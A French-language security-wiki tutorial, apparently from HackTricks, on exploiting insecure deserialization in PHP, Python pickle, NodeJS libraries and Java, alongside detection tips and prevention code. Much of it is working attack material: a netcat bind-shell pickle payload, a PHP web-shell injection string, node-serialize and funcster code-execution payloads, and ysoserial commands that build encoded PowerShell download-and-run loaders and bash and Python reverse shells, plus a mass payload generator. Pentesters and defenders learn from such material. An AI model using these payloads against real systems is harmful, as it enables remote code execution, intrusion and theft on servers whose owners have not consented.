Deserialization

Reading time: 45 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Serialization est comprise comme la mĂ©thode de conversion d'un objet en un format pouvant ĂȘtre conservĂ©, dans l'intention soit de stocker l'objet soit de le transmettre dans le cadre d'une communication. Cette technique est couramment employĂ©e pour s'assurer que l'objet peut ĂȘtre recréé ultĂ©rieurement, en conservant sa structure et son Ă©tat.

Deserialization, en revanche, est le processus qui contrecarre la serialization. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.

Deserialization peut ĂȘtre dangereuse car elle peut potentiellement permettre Ă  des attaquants de manipuler les serialized data pour exĂ©cuter du code malveillant ou provoquer un comportement inattendu de l'application lors du processus de reconstruction de l'objet.

PHP

Dans PHP, des magic methods spécifiques sont utilisées pendant les processus de serialization et de deserialization :

  • __sleep: AppelĂ© lorsqu'un objet est en cours de serialization. Cette mĂ©thode doit renvoyer un tableau contenant les noms de toutes les propriĂ©tĂ©s de l'objet qui doivent ĂȘtre serialized. Elle est couramment utilisĂ©e pour valider des donnĂ©es en attente ou effectuer des tĂąches de nettoyage similaires.
  • __wakeup: AppelĂ© lorsqu'un objet est en cours de deserialization. Il est utilisĂ© pour rĂ©tablir les connexions Ă  la base de donnĂ©es qui ont pu ĂȘtre perdues pendant la serialization et effectuer d'autres tĂąches de rĂ©initialisation.
  • __unserialize: Cette mĂ©thode est appelĂ©e Ă  la place de __wakeup (si elle existe) lorsqu'un objet est en cours de deserialization. Elle offre un contrĂŽle plus fin sur le processus de deserialization par rapport Ă  __wakeup.
  • __destruct: Cette mĂ©thode est appelĂ©e lorsqu'un objet est sur le point d'ĂȘtre dĂ©truit ou Ă  la fin du script. Elle est typiquement utilisĂ©e pour des tĂąches de nettoyage, comme fermer des handles de fichiers ou des connexions Ă  la base de donnĂ©es.
  • __toString: Cette mĂ©thode permet de traiter un objet comme une chaĂźne. Elle peut ĂȘtre utilisĂ©e pour lire un fichier ou effectuer d'autres tĂąches basĂ©es sur les appels de fonction qu'elle contient, fournissant ainsi une reprĂ©sentation textuelle de l'objet.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction __toString est appelée lorsqu'on tente d'afficher un attribut, mais apparemment cela n'arrive plus.

warning

La méthode __unserialize(array $data) est appelée au lieu de __wakeup() si elle est implémentée dans la classe. Elle permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les opérations nécessaires lors de la désérialisation.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Vous pouvez abuser de la fonctionnalité autoload de PHP pour charger des fichiers php arbitraires et plus encore :

PHP - Deserialization + Autoload Classes

Sérialiser des valeurs référencées

Si pour une raison quelconque vous souhaitez sérialiser une valeur comme référence à une autre valeur sérialisée, vous pouvez :

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prévenir PHP Object Injection avec allowed_classes

info

Le support du deuxiĂšme argument de unserialize() (le tableau $options) a Ă©tĂ© ajoutĂ© dans PHP 7.0. Sur les versions plus anciennes la fonction n'accepte que la chaĂźne sĂ©rialisĂ©e, rendant impossible la restriction des classes pouvant ĂȘtre instanciĂ©es.

unserialize() va instancier chaque classe qu'il trouve dans le flux sĂ©rialisĂ© sauf indication contraire. Depuis PHP 7 le comportement peut ĂȘtre restreint avec l'option allowed_classes :

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Si allowed_classes est omis ou si le code s'exécute sur PHP < 7.0, l'appel devient dangereux car un attaquant peut fabriquer un payload qui abuse des méthodes magiques telles que __wakeup() ou __destruct() pour obtenir Remote Code Execution (RCE).

Exemple réel : Everest Forms (WordPress) CVE-2025-52709

Le plugin WordPress Everest Forms ≀ 3.2.2 a essayĂ© d'ĂȘtre dĂ©fensif avec un wrapper d'aide mais a oubliĂ© les anciennes versions de PHP :

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≄ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Sur les serveurs tournant encore sous PHP ≀ 7.0, cette seconde branche menait Ă  une classique PHP Object Injection lorsqu'un administrateur consultait une soumission de formulaire malveillante. Un exploit payload minimal pourrait ressembler Ă  :

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

DÚs que l'admin a consulté l'entrée, l'objet a été instancié et SomeClass::__destruct() a été exécuté, entraßnant une exécution de code arbitraire.

Points clés

  1. Transmettez toujours ['allowed_classes' => false] (ou une liste blanche stricte) lors de l'appel Ă  unserialize().
  2. Auditez les wrappers dĂ©fensifs — ils oublient souvent les branches PHP hĂ©ritĂ©es.
  3. La mise Ă  niveau vers PHP ≄ 7.x seule n'est pas suffisante : l'option doit toujours ĂȘtre fournie explicitement.

PHPGGC (ysoserial for PHP)

PHPGGC peut vous aider à générer des payloads pour abuser des désérialisations PHP.
Notez que dans plusieurs cas vous ne pourrez pas trouver de moyen d'abuser d'une dĂ©sĂ©rialisation dans le code source de l'application mais vous pourrez peut‑ĂȘtre abuser du code d'extensions PHP externes.\ Donc, si vous le pouvez, vĂ©rifiez le phpinfo() du serveur et recherchez sur internet (y compris parmi les gadgets de PHPGGC) des gadgets possibles que vous pourriez exploiter.

phar:// désérialisation des métadonnées

Si vous avez trouvé un LFI qui se contente de lire le fichier et n'exécute pas le code php qu'il contient, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Vous pouvez essayer d'abuser d'une désérialisation se produisant lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations read the following post:

phar:// deserialization

Python

Pickle

Quand l'objet est désérialisé, la fonction ___reduce___ sera exécutée.
Lorsqu'il est exploité, le serveur pourrait renvoyer une erreur.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Avant de vérifier la technique de contournement, essayez d'utiliser print(base64.b64encode(pickle.dumps(P(),2))) pour générer un objet compatible avec python2 si vous exécutez python3.

Pour plus d'informations sur l'évasion des pickle jails consultez :

Bypass Python sandboxes

Yaml & jsonpickle

La page suivante prĂ©sente la technique pour abuser d'une dĂ©sĂ©rialisation non sĂ©curisĂ©e dans les bibliothĂšques python de YAML et se termine par un outil pouvant ĂȘtre utilisĂ© pour gĂ©nĂ©rer RCE deserialization payload pour Pickle, PyYAML, jsonpickle and ruamel.yaml :

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS n'a pas de fonctions "magiques" comme PHP ou Python qui vont ĂȘtre exĂ©cutĂ©es simplement lors de la crĂ©ation d'un objet. Mais il existe certaines fonctions qui sont frĂ©quemment utilisĂ©es mĂȘme sans ĂȘtre appelĂ©es directement, telles que toString, valueOf, toJSON.
Si vous abusez d'une désérialisation, vous pouvez compromettre ces fonctions pour exécuter d'autres code (potentiellement en abusant de prototype pollutions) et ainsi exécuter du code arbitraire lorsqu'elles sont appelées.

Une autre façon "magique" d'appeler une fonction sans l'appeler directement est de compromettre un objet qui est renvoyé par une fonction async (promise). En effet, si vous transformez cet objet de retour en une autre promise avec une propriété appelée "then" de type function, elle sera exécutée simplement parce qu'elle est retournée par une autre promise. Suivez ce lien pour plus d'infos.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Si vous voulez en savoir plus sur cette technique jetez un Ɠil au tutoriel suivant :

NodeJS - proto & prototype Pollution

node-serialize

Cette bibliothÚque permet de sérialiser des fonctions. Exemple :

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

L'objet sérialisé ressemblera à :

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée le _$$ND_FUNC$$_ flag est appendu à l'objet sérialisé.

À l'intĂ©rieur du fichier node-serialize/lib/serialize.js vous pouvez trouver le mĂȘme flag et voir comment le code l'utilise.

Comme vous pouvez le voir dans le dernier extrait de code, si le flag est trouvé eval est utilisé pour désérialiser la fonction, donc en gros l'entrée utilisateur est utilisée à l'intérieur de la fonction eval.

Cependant, simplement sérialiser une fonction ne l'exécutera pas, car il faudrait qu'une partie du code appelle y.rce dans notre exemple et c'est trÚs peu probable.
Quoi qu'il en soit, vous pouvez simplement modifier l'objet sérialisé en ajoutant des parenthÚses afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.
Dans le prochain extrait de code remarquez la derniÚre parenthÚse et comment la fonction unserialize exécutera automatiquement le code :

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Comme indiqué précédemment, cette bibliothÚque récupérera le code aprÚs _$$ND_FUNC$$_ et l'exécutera en utilisant eval. Par conséquent, afin d'auto-exécuter du code, vous pouvez supprimer la partie de création de la fonction et la derniÚre parenthÚse et simplement exécuter un JS oneliner comme dans l'exemple suivant :

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Vous pouvez trouver ici des informations supplémentaires sur la maniÚre d'exploiter cette vulnérabilité.

funcster

Un aspect notable de funcster est l'inaccessibilitĂ© des objets intĂ©grĂ©s standard ; ils se trouvent en dehors du scope accessible. Cette restriction empĂȘche l'exĂ©cution de code qui tente d'appeler des mĂ©thodes sur les objets intĂ©grĂ©s, entraĂźnant des exceptions telles que "ReferenceError: console is not defined" lorsque des commandes comme console.log() ou require(something) sont utilisĂ©es.

MalgrĂ© cette limitation, il est possible de restaurer l'accĂšs complet au contexte global, incluant tous les objets intĂ©grĂ©s standard, grĂące Ă  une approche spĂ©cifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l'accĂšs peut ĂȘtre rĂ©tabli en utilisant le snippet suivant :

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Pour more information read this source.

serialize-javascript

Le package serialize-javascript est conçu uniquement pour la serialization et ne dispose d'aucune capacité de deserialization intégrée. Les utilisateurs doivent implémenter leur propre méthode de deserialization. L'exemple officiel suggÚre l'utilisation directe de eval pour deserializing serialized data:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Si cette fonction est utilisée pour deserialize des objets vous pouvez easily exploit it:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Pour plus d'informations, lisez cette source.

Cryo library

Dans les pages suivantes, vous trouverez des informations sur la maniÚre d'abuser de cette library pour exécuter des commandes arbitraires :

Java - HTTP

En Java, deserialization callbacks are executed during the process of deserialization. Cette exĂ©cution peut ĂȘtre exploitĂ©e par des attaquants qui crĂ©ent des payloads malveillants dĂ©clenchant ces callbacks, conduisant potentiellement Ă  l'exĂ©cution d'actions nuisibles.

Fingerprints

White Box

Pour identifier d'éventuelles vulnérabilités de serialization dans la base de code, recherchez :

  • Classes qui implĂ©mentent l'interface Serializable.
  • Utilisation de java.io.ObjectInputStream, des fonctions readObject, readUnshare.

Portez une attention particuliĂšre Ă  :

  • XMLDecoder utilisĂ© avec des paramĂštres fournis par des utilisateurs externes.
  • La mĂ©thode fromXML de XStream, surtout si la version de XStream est infĂ©rieure ou Ă©gale Ă  1.46, car elle est susceptible de problĂšmes de serialization.
  • ObjectInputStream couplĂ© avec la mĂ©thode readObject.
  • ImplĂ©mentation de mĂ©thodes telles que readObject, readObjectNodData, readResolve, ou readExternal.
  • ObjectInputStream.readUnshared.
  • Usage gĂ©nĂ©ral de Serializable.

Black Box

Pour le test black box, recherchez des signatures or "Magic Bytes" spécifiques qui indiquent des objets java sérialisés (provenant de ObjectInputStream) :

  • Motif hexadĂ©cimal : AC ED 00 05.
  • Motif Base64 : rO0.
  • En-tĂȘtes de rĂ©ponse HTTP avec Content-type dĂ©fini sur application/x-java-serialized-object.
  • Motif hexadĂ©cimal indiquant une compression prĂ©alable : 1F 8B 08 00.
  • Motif Base64 indiquant une compression prĂ©alable : H4sIA.
  • Fichiers web avec l'extension .faces et le paramĂštre faces.ViewState. La dĂ©couverte de ces motifs dans une application web devrait conduire Ă  un examen comme dĂ©taillĂ© dans le post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Vérifier si vulnérable

Si vous voulez comprendre comment fonctionne un Java Deserialized exploit, vous devriez consulter Basic Java Deserialization, Java DNS Deserialization, et CommonsCollection1 Payload.

SignedObject-gated deserialization et atteignabilité pré-auth

Les codebases modernes encapsulent parfois la deserialization avec java.security.SignedObject et valident une signature avant d'appeler getObject() (qui dĂ©sĂ©rialise l'objet interne). Cela empĂȘche les classes gadget arbitraires au niveau top-level mais peut rester exploitable si un attaquant parvient Ă  obtenir une signature valide (par ex., compromission de la clĂ© privĂ©e ou un signing oracle). De plus, les flux de gestion d'erreurs peuvent gĂ©nĂ©rer des jetons liĂ©s Ă  la session pour les utilisateurs non authentifiĂ©s, exposant des sinks normalement protĂ©gĂ©s pre-auth.

Pour une Ă©tude de cas concrĂšte avec des requĂȘtes, IoCs et des recommandations de durcissement, voir :

Java Signedobject Gated Deserialization

Test White Box

Vous pouvez vérifier si une application connue vulnérable est installée.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Vous pouvez essayer de vĂ©rifier toutes les bibliothĂšques connues pour ĂȘtre vulnĂ©rables et pour lesquelles Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
Vous pouvez aussi utiliser gadgetinspector pour rechercher d'éventuelles gadget chains exploitables.
Quand vous lancez gadgetinspector (aprÚs l'avoir compilé), ne vous préoccupez pas des tonnes d'avertissements/erreurs qu'il affiche et laissez-le terminer. Il écrira toutes les trouvailles sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne créera pas d'exploit et peut indiquer des faux positifs.

Test en boĂźte noire

En utilisant l'extension Burp gadgetprobe vous pouvez identifier quelles bibliothĂšques sont disponibles (et mĂȘme les versions). Avec cette information il peut ĂȘtre plus facile de choisir un payload pour exploiter la vulnĂ©rabilitĂ©.
Read this to learn more about GadgetProbe.
GadgetProbe se concentre sur les ObjectInputStream deserializations.

En utilisant l'extension Burp Java Deserialization Scanner vous pouvez identifier vulnerable libraries exploitables avec ysoserial et exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner se concentre sur les désérialisations ObjectInputStream.

Vous pouvez aussi utiliser Freddy pour detect deserializations vulnerabilities dans Burp. Ce plugin détectera not only ObjectInputStream related vulnerabilities mais aussi les vulnérabilités provenant des bibliothÚques de désérialisation Json et Yml. En mode actif, il tentera de les confirmer en utilisant des payloads sleep ou DNS.
You can find more information about Freddy here.

Test de sérialisation

Il ne s'agit pas seulement de vĂ©rifier si une bibliothĂšque vulnĂ©rable est utilisĂ©e par le serveur. Parfois vous pouvez modifier les donnĂ©es Ă  l'intĂ©rieur de l'objet sĂ©rialisĂ© et bypass certains contrĂŽles (peut-ĂȘtre vous accorder des privilĂšges admin dans une webapp).
Si vous trouvez un java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Savoir quelles données vous envoyez facilitera leur modification et le contournement de certaines vérifications.

Exploit

ysoserial

L'outil principal pour exploiter les désérialisations Java est ysoserial (download here). Vous pouvez aussi envisager d'utiliser ysoseral-modified qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).
Notez que cet outil est focused sur l'exploitation des ObjectInputStream.
Je recommanderais de start using the "URLDNS" payload before a RCE payload pour tester si l'injection est possible. Quoi qu'il en soit, notez que le payload "URLDNS" peut ne pas fonctionner alors qu'un autre payload RCE fonctionne.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Lors de la crĂ©ation d'un payload pour java.lang.Runtime.exec() vous cannot use special characters comme ">" ou "|" pour rediriger la sortie d'une exĂ©cution, "$()" pour exĂ©cuter des commandes ou mĂȘme pass arguments Ă  une commande sĂ©parĂ©s par des spaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement le payload vous pouvez use this webpage.

N'hésitez pas à utiliser le script suivant pour créer all the possible code execution payloads pour Windows et Linux puis les tester sur la page web vulnérable :

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour crĂ©er davantage d'exploits. Plus d'informations sur cet outil dans les slides de la prĂ©sentation oĂč l'outil a Ă©tĂ© prĂ©sentĂ© : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec peut ĂȘtre utilisĂ© pour gĂ©nĂ©rer des payloads pour exploiter diffĂ©rentes bibliothĂšques de sĂ©rialisation Json et Yml en Java.
Pour compiler le projet, j'ai dû ajouter ces dépendances dans pom.xml :

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installez maven, et compilez le projet:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

En savoir plus sur cette bibliothĂšque Java JSON : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Pourquoi

Java utilise beaucoup la sérialisation pour divers usages, tels que :

  • HTTP requests : la sĂ©rialisation est largement employĂ©e dans la gestion des paramĂštres, ViewState, cookies, etc.
  • RMI (Remote Method Invocation) : le protocole Java RMI, qui repose entiĂšrement sur la sĂ©rialisation, est une pierre angulaire de la communication distante dans les applications Java.
  • RMI over HTTP : cette mĂ©thode est couramment utilisĂ©e par les applications web Ă  client lourd basĂ©es sur Java, utilisant la sĂ©rialisation pour toutes les communications d'objets.
  • JMX (Java Management Extensions) : JMX utilise la sĂ©rialisation pour transmettre des objets sur le rĂ©seau.
  • Custom Protocols : en Java, la pratique standard implique la transmission d'objets Java bruts, ce qui sera dĂ©montrĂ© dans les exploit examples Ă  venir.

Prévention

Objets transient

Une classe qui implĂ©mente Serializable peut marquer comme transient tout objet Ă  l'intĂ©rieur de la classe qui ne devrait pas ĂȘtre sĂ©rialisable. Par exemple :

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Éviter la sĂ©rialisation d'une classe qui doit implĂ©menter Serializable

Dans des scĂ©narios oĂč certains objets doivent implĂ©menter l'interface Serializable en raison de la hiĂ©rarchie de classes, il existe un risque de dĂ©sĂ©rialisation involontaire. Pour l'empĂȘcher, assurez-vous que ces objets ne peuvent pas ĂȘtre dĂ©sĂ©rialisĂ©s en dĂ©finissant une mĂ©thode final readObject() qui lance systĂ©matiquement une exception, comme montrĂ© ci-dessous :

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Renforcer la sécurité de la désérialisation en Java

Personnaliser java.io.ObjectInputStream est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode convient lorsque :

  • Le code de dĂ©sĂ©rialisation est sous votre contrĂŽle.
  • Les classes attendues pour la dĂ©sĂ©rialisation sont connues.

RedĂ©finissez la mĂ©thode resolveClass() pour limiter la dĂ©sĂ©rialisation uniquement aux classes autorisĂ©es. Cela empĂȘche la dĂ©sĂ©rialisation de toute classe Ă  l'exception de celles explicitement autorisĂ©es, comme dans l'exemple suivant qui restreint la dĂ©sĂ©rialisation Ă  la classe Bicycle uniquement :

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement pour blacklisting harmful classes, en utilisant un paramÚtre JVM:

-javaagent:name-of-agent.jar

Il fournit un moyen de sĂ©curiser la dĂ©sĂ©rialisation de maniĂšre dynamique, idĂ©al pour les environnements oĂč des modifications de code immĂ©diates sont impraticables.

Check and example in rO0 by Contrast Security

